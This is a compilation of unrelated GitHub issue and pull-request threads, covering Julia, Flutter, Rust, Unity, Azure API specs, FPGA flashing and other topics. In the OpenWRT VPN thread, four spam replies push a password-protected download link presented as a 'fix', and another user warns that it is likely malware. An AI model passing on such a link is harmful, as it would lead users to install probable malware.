    h = hash(frame.inlined, h)
    return h
end

And indeed, in this case:
julia> fr3.func
Symbol("")

julia> fr1.func
Symbol("")

julia> fr1.line
-1

julia> fr3.line
-1

julia> fr3.file
Symbol("")

julia> fr1.file
Symbol("")

julia> fr3.inlined
false

julia> fr1.inlined
false

(I'm not sure why that stuff is all missing!?)

Is this a bug worth reporting to julia?

Seems odd to me -- at least worth an issue asking why this is so?

Hokay, i've asked about it here!:
https://github.com/JuliaLang/julia/issues/47028


Play video from Uint8List

Play video from Uint8List

You can use this.
VideoPlayerController fromUint8List(
    String path,
    Uint8List bytes, {
    Future<ClosedCaptionFile>? closedCaptionFile,
    VideoPlayerOptions? videoPlayerOptions,
  }) {
    final File file = File(path);
    file.writeAsBytesSync(bytes);
    return VideoPlayerController.file(
      file,
      closedCaptionFile: closedCaptionFile,
      videoPlayerOptions: videoPlayerOptions,
    );
  }


Fixed set_cargo_config_env

I think it should be ok to not explicitly check for exit code or kill the process - cargo get should probably not freeze, and we silently ignore all errors from this fun anyway

Actually, let me push something

Actually, let me push something

sure

Nvm, just add TODO: log stderr


cleanup documentation pages

make style more consistent and improve some wordings

I'm 👍
Ready for merge?


PE-342: Move commands declaration to its own place

Cleans the src/index.ts by moving the command declarations to multiple separate files under /src/commands and creating utils.ts

Just self tested this:
get-mempool and get-balance both return:
(node:4727) UnhandledPromiseRejectionWarning: Error: No such parameter parentFolderId
    at Function.get (/Users/derek/ardrive/ardrive-cli/lib/CLICommand/parameter.js:38:19)
    at new Parameter (/Users/derek/ardrive/ardrive-cli/lib/CLICommand/parameter.js:7:40)
    at /Users/derek/ardrive/ardrive-cli/lib/CLICommand/cli_command.js:21:27
    at Array.forEach (<anonymous>)
    at setCommanderCommand (/Users/derek/ardrive/ardrive-cli/lib/CLICommand/cli_command.js:20:34)
    at CLICommand.setCommand (/Users/derek/ardrive/ardrive-cli/lib/CLICommand/cli_command.js:75:9)
    at new CLICommand (/Users/derek/ardrive/ardrive-cli/lib/CLICommand/cli_command.js:52:14)
    at Object.<anonymous> (/Users/derek/ardrive/ardrive-cli/lib/commands/upload_file.js:18:1)
    at Module._compile (internal/modules/cjs/loader.js:1068:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1097:10)
(Use `node --trace-warnings ...` to show where the warning was created)
(node:4727) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:4727) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Thanks for finding that @fedellen, some parameters weren't defined there. It's now fixed at 1d26a5ea8a0791010b3ae5b52d7b8308efb52a03

get-mempool still fails...

Fixed two wrong imports. That fixes the command failures for get-balance and get-mempool


Not working on android & iOS (Unity)

Hi,
Iv got the mDNS working within the editor of unity. But once i build and run on android or iOS devices, it doesn't work.
There is no errors or log messages, do you have any idea why this might be happening?
Thanks!

Android and iOS devices are not supported.
I think you will need Xamarin Mobile Apps.  I suggest you try to get the unit tests running on the device.

Was just curious. @nicwhitts, did you ever find a solution for Android/iOS + Unity? I know for both iOS and Android you have to declare the correct permissions and specifically on Android you need to acquire a MultiCastLock.

I did get it kind of working. I used react native, and using a multicast npm package which I think I had to slightly modify for react native support. I packaged unity within react native using npm package react-native-unity-view.
there is a recent fork with newer unity support too.
But.. I found the multicast a bit unreliable.
My use case was to connect two devices so I opted for a qr code which I would scan with one decide to connect the two.


feat(headless): add insight date facet controller

https://coveord.atlassian.net/browse/SVCC-2206
This PR builds on top of https://github.com/coveo/ui-kit/pull/2133 and adds the date facet controller for the insight use case.

Are we planning to export the new insight controllers using the the insight.index.ts file only when all the controllers are ready?

Are we planning to export the new insight controllers using the the insight.index.ts file only when all the controllers are ready?

Yep

TODO: Found an issue when using a timeframe facet with relative timeframes. It apparently caused a malformed search request yielding a 500 error. To investigate.

The issue was that the date facet request and response were not mapped correctly to translate timeframes from relative to absolute format. I modified slightly the search-mappings types to be able to use it for insight as well, and updated the insight execute search action accordingly.


Adding additional info to existing description for SKU API's $filter param.

Latest improvements:
MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Contribution checklist:

[ ] I have reviewed the documentation for the workflow.
[ ] Validation tools were run on swagger spec(s) and have all been fixed in this PR.
[ ] The OpenAPI Hub was used for checking validation status and next steps.

ARM API Review Checklist

[ ] Service team MUST add the "WaitForARMFeedback" label if the management plane API changes fall into one of the below categories.
adding/removing APIs.
adding/removing properties.
adding/removing API-version.
adding a new service in Azure.

Failure to comply may result in delays for manifest application. Note this does not apply to data plane APIs.

[ ] If you are blocked on ARM review and want to get the PR merged urgently, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.
Please follow the link to find more details on API review process.

/azp run automation - sdk

Can one of the admins verify this patch?

hi @avinashakka is the PR ready to merge?

hi @avinashakka let me know the PR is ready to merge.

Yes. Waiting for @smotwani to approve.

hi @avinashakka let me know the PR is ready to merge.

Yes. Waiting for @smotwani to approve.

@yungezz Please merge the PR. It has been reviewed and approved internally.


casper-types 4.0.1 does not have the std-fs-io feature flag on crates.io

see https://docs.rs/crate/casper-types/4.0.1/features

Hi @marijanp std-fs-io is only on dev branches right now. dev branches are not using the last release but dev patches
https://github.com/casper-ecosystem/casper-client-rs/blob/dev/Cargo.toml#L53-L55
Were you trying to compile the last released version ? https://github.com/casper-ecosystem/casper-client-rs/tree/v2.0.0
Closing this ticket let me know if you have further questions.

What is the reason for not having compatible casper crates on crates.io?


⚠ ClamAV has degraded performance

In 4cbb3bb, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 66 ms

Resolved: ClamAV performance has improved in fc1214c.


Can’t reorder MapInfo entries

I’m using an outdated versions (demetr48.jar and v0.6-4-B), I still haven’t tried compiling R48 myself. So, this bug might not be present in the latest version. I’ve only tested this in R2K[3?], not in the other engines.
When I assign a parent of the map, I get ‘Parent Inconsistency Warning’.

Steps to reproduce:

Run R48 in an empty root folder,
(On the screenshot, I’ve renamed the first map into Real World)
Add the second map (in the screenshot, I’ve named it Dream World), move it out,
Add the third map (in the screenshot, it’s named Myanmar), try setting its parent ID to 1 to make it a sub-map of the First map (aka Real World).

Expected result: the third map (‘Myanmar’) should appear below the first map (‘Real world’).
Current result: a warning ‘Information: Parent Inconsistency Warning 3 o 3’ appears. I can only see Myanmar🇲🇲 in the dream world 😿

The ability to manually change parent_id without at least a warning was indeed a bug, because that lead to inconsistencies...
I've changed the ">>" to "Parent Here", and made the relevant fields read-only.
It's easy to reverse if someone has to manually edit those fields.


Support for RN 0.40.0

@devfd Please can this be merged... seems to be stopping a lot of people

+1

+1

Can this be committed and a new tag deployed to npm?

@devfd seems mia since 4 months..
If you don't have time anymore for this module, I can propose myself as a maintainer to triage and merge opened PRs.


Point cloud data

Hi!  I am trying to use this plugin to extract point cloud data for feature matching.  I am wondering whether it is possible?

There is no point cloud data provided, nor any kind of depth map.
You can still implemented feature detection & matching manually on the 2D image.


Fix windows CI issue

coverage: 47.937% (-0.02%) from 47.953% when pulling 33cce66d157b218be05fbd47108694c39491a46c on test_fix_win into 862728c2f492c015e45021c7eaa6acee6c0f54e1 on master.


Allow evaluation of Rego based policies

Rego policies can be built into WebAssembly modules that can then be evaluated. We have proved this to be possible using this POC
The goal of this issues is to integrate the code of the POC into this crate.
Admission criteria

Simple OPA policy can be loaded and evaluated by kwctl and policy-server
Simple Gatekeeper policy can be loaded and evaluated by kwctl and policy-server

Linked cards

[x] https://github.com/kubewarden/policy-evaluator/issues/15
[x] https://github.com/kubewarden/kwctl/issues/55
[x] https://github.com/kubewarden/policy-server/issues/76
[x] https://github.com/kubewarden/policy-evaluator/issues/16

I think this can be closed right now, at least for Opa policies.
We will create new cards to handle Gatekeeper ones


Fix flash programming using dfu-util

Since commit 2b52c6e (Use hardware SPI and DMA transfer), hardware SPI has been used with hardware DMA to program the ICE40 FPGA SPI flash. This means that in order for SPI transfers to the flash to complete, the DMA interrupt must remain enabled. Keep the DMA interrupt enabled when entering the USB DFU flash programming code, to ensure that SPI flash writes complete.
Without this fix, dfu-util is unable to program the FLASH slot, and can only program to the CRAM slot. This is because the SPI transfer will wait indefinitely to complete (as DMA interrupt is disabled), and the watchdog will reset the RT2040.
Note- it looks like the develop branch is behind main, but the contribution guidelines say to open a pull request there. Please let me know if I should change the base branch this PR targets

Hello and many thanks for this in-depth study. And apologies to only notice this pull request now one month after it was open. This will be reviewed integrated as part of the next release.

Note- it looks like the develop branch is behind main, but the contribution guidelines say to open a pull request there. Please let me know if I should change the base branch this PR targets

This was my mistake for pushing a few 'hotfixes' onto main. It should be better now.

Hello and many thanks for this in-depth study. And apologies to only notice this pull request now one month after it was open. This will be reviewed integrated as part of the next release.

No worries- thanks for designing this great little board 😄. Let me know if you need any changes from my side or have any comments on the code.

Can confirm this PR works! Good job @danieldegrasse <3

Thank you @danieldegrasse and @MrJake222! I merged it from command line. We are all set! This will be released soon. Hopefully today.
Feel free to reopen as needed.


[2417] Handle missing data for funding confirm page

Context

https://trello.com/c/7yY51giW/2417-s-missing-information-ui-funding-section

Changes proposed in this pull request
Handles missing data for the bursary sections.
If you can't apply for a bursary and come to this page:

If you can apply for a bursary and come to this page:

If you can apply for a bursary but have only completed the first part and then arrived on this page:

Guidance to review

 [S] Missing information UI (Funding section)


vcat(x, Fill(x,∞)) could return Fill(x,∞)

This will make the returned value type-unstable so is not a good idea.


refactor inference methods in GP

@karlnapf
Inference methods in the latest GPML toolkit http://www.gaussianprocess.org/gpml/code/matlab/doc/README are unified. It will be great if we can unify inference methods in shogun.

Absolutely! :)
Nice entrance task as well


Can't connect to OpenWRT after enabling PIA VPN

Hello, I am trying to set up an openWRT VPN container in Proxmox. I have managed to set it up such that when I enable the vpn, all the containers that are connected to the lan bridge of the OpenWRT container get assigned IP addresses by openWRT and get public facing IPs behing the PIA VPN. The issue I am running into right now is as soon as I enable the VPN, I can no longer ping the openWRT container from my home network and I cannot connect to the web server. That being said, typing ip a inside the OpenWRT container shows me that I do in fact have an IP assigned by my actual router (same IP I used to connect to the web interface before I couldnt anymore). As soon as I disable the VPN by editing /etc/config/openvpn I am able to connect to the container again. Can anyone help me with this? For reference I used <IP_ADDRESS>/24 as the lan IP of the OpenWRT router (its wan IP is <IP_ADDRESS>).

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

To anyone that sees this, please do not follow those links. They are very likely malware.


Can not take multiple photos.

Hi @JannikLassahn,
I was trying to capture multiple photographs but I could not.
I also give it try by stopping and restarting the camera again but when once I stopped the camera it seems like the camera failed to start after that every time.
What I wanted to implement is, capture more than one photographs but after capturing single photo camera seems to be not responding.
can you help me to click multiple photographs?
Thanks in advance.

Hi @VenuVc,
which Version of Unity and Windows Holographic are you using?
With the new MixedRealityToolkit coming out soon, I'm going to update this repository next week and maybe I come across the issues you are currently facing.